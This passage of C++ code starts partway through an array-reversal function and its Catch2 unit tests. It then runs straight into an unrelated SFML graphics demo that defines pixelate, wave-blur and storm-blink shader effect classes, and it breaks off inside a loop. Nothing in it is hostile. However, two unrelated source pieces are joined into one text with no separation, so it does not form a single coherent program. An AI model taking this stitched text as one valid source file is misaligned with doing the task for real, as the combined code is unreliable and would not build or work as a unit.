    int j = n - 1;
    while (i < j) {
        std::swap(array[i], array[j]);
        i += 1;
        j -= 1;
    }
}

TEST_CASE("reverse_array reverses small arrays") {
    int arr[] = {1, 2, 3};
    reverse_array(arr, 3);

    REQUIRE(arr[0] == 3);
    REQUIRE(arr[1] == 2);
    REQUIRE(arr[2] == 1);
}

TEST_CASE("reverse_array works on even-length arrays") {
    int arr[] = {10, 20, 30, 40};
    reverse_array(arr, 4);

    REQUIRE(arr[0] == 40);
    REQUIRE(arr[1] == 30);
    REQUIRE(arr[2] == 20);
    REQUIRE(arr[3] == 10);
}

TEST_CASE("reverse_array leaves single-element array unchanged") {
    int arr[] = {99};
    reverse_array(arr, 1);

    REQUIRE(arr[0] == 99);
}

TEST_CASE("reverse_array leaves empty array unchanged") {
    int arr[] = {0};
    reverse_array(arr, 0);

    // Nothing to check except that it compiles and runs without error
    REQUIRE(true);
}


////////////////////////////////////////////////////////////
// Headers
////////////////////////////////////////////////////////////

#include <SFML/Graphics.hpp>

#include <array>
#include <iostream>
#include <optional>
#include <random>
#include <string>

#include <cmath>
#include <cstdint>
#include <cstdlib>

namespace
{
std::random_device rd;
std::mt19937       rng(rd());

////////////////////////////////////////////////////////////
// Base class for effects
////////////////////////////////////////////////////////////
struct Effect : sf::Drawable
{
    virtual void update(float time, float x, float y) = 0;
};

////////////////////////////////////////////////////////////
// "Pixelate" fragment shader
////////////////////////////////////////////////////////////
class Pixelate : public Effect
{
public:
    explicit Pixelate(sf::Texture&& texture, sf::Shader&& shader) :
    m_texture(std::move(texture)),
    m_shader(std::move(shader))
    {
        m_shader.setUniform("texture", sf::Shader::CurrentTexture);
    }

    void update(float /* time */, float x, float y) override
    {
        m_shader.setUniform("pixel_threshold", (x + y) / 30);
    }

    void draw(sf::RenderTarget& target, sf::RenderStates states) const override
    {
        states.shader = &m_shader;
        target.draw(sf::Sprite{m_texture}, states);
    }

private:
    sf::Texture m_texture;
    sf::Shader  m_shader;
};

////////////////////////////////////////////////////////////
// "Wave" vertex shader + "blur" fragment shader
////////////////////////////////////////////////////////////
class WaveBlur : public Effect
{
public:
    void update(float time, float x, float y) override
    {
        m_shader.setUniform("wave_phase", time);
        m_shader.setUniform("wave_amplitude", sf::Vector2f(x * 40, y * 40));
        m_shader.setUniform("blur_radius", (x + y) * 0.008f);
    }

    void draw(sf::RenderTarget& target, sf::RenderStates states) const override
    {
        states.shader = &m_shader;
        target.draw(m_text, states);
    }

    explicit WaveBlur(const sf::Font& font, sf::Shader&& shader) :
    m_text(font,
           "Praesent suscipit augue in velit pulvinar hendrerit varius purus aliquam.\n"
           "Mauris mi odio, bibendum quis fringilla a, laoreet vel orci. Proin vitae vulputate tortor.\n"
           "Praesent cursus ultrices justo, ut feugiat ante vehicula quis.\n"
           "Donec fringilla scelerisque mauris et viverra.\n"
           "Maecenas adipiscing ornare scelerisque. Nullam at libero elit.\n"
           "Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas.\n"
           "Nullam leo urna, tincidunt id semper eget, ultricies sed mi.\n"
           "Morbi mauris massa, commodo id dignissim vel, lobortis et elit.\n"
           "Fusce vel libero sed neque scelerisque venenatis.\n"
           "Integer mattis tincidunt quam vitae iaculis.\n"
           "Vivamus fringilla sem non velit venenatis fermentum.\n"
           "Vivamus varius tincidunt nisi id vehicula.\n"
           "Integer ullamcorper, enim vitae euismod rutrum, massa nisl semper ipsum,\n"
           "vestibulum sodales sem ante in massa.\n"
           "Vestibulum in augue non felis convallis viverra.\n"
           "Mauris ultricies dolor sed massa convallis sed aliquet augue fringilla.\n"
           "Duis erat eros, porta in accumsan in, blandit quis sem.\n"
           "In hac habitasse platea dictumst. Etiam fringilla est id odio dapibus sit amet semper dui laoreet.\n",
           22),
    m_shader(std::move(shader))
    {
        m_text.setPosition({30.f, 20.f});
    }

private:
    sf::Text   m_text;
    sf::Shader m_shader;
};

////////////////////////////////////////////////////////////
// "Storm" vertex shader + "blink" fragment shader
////////////////////////////////////////////////////////////
class StormBlink : public Effect
{
public:
    void update(float time, float x, float y) override
    {
        const float radius = 200 + std::cos(time) * 150;

        m_shader.setUniform("storm_position", sf::Vector2f(x * 800, y * 600));
        m_shader.setUniform("storm_inner_radius", radius / 3);
        m_shader.setUniform("storm_total_radius", radius);
        m_shader.setUniform("blink_alpha", 0.5f + std::cos(time * 3) * 0.25f);
    }

    void draw(sf::RenderTarget& target, sf::RenderStates states) const override
    {
        states.shader = &m_shader;
        target.draw(m_points, states);
    }

    explicit StormBlink(sf::Shader&& shader) : m_shader(std::move(shader))
    {
        std::uniform_real_distribution<float>        xDistribution(0, 800);
        std::uniform_real_distribution<float>        yDistribution(0, 600);
        std::uniform_int_distribution<std::uint16_t> colorDistribution(0, 255);

        // Create the points
        m_points.setPrimitiveType(sf::PrimitiveType::Points);

        for (int i = 0; i < 40000; ++i)
        {
            const auto x = xDistribution(rng);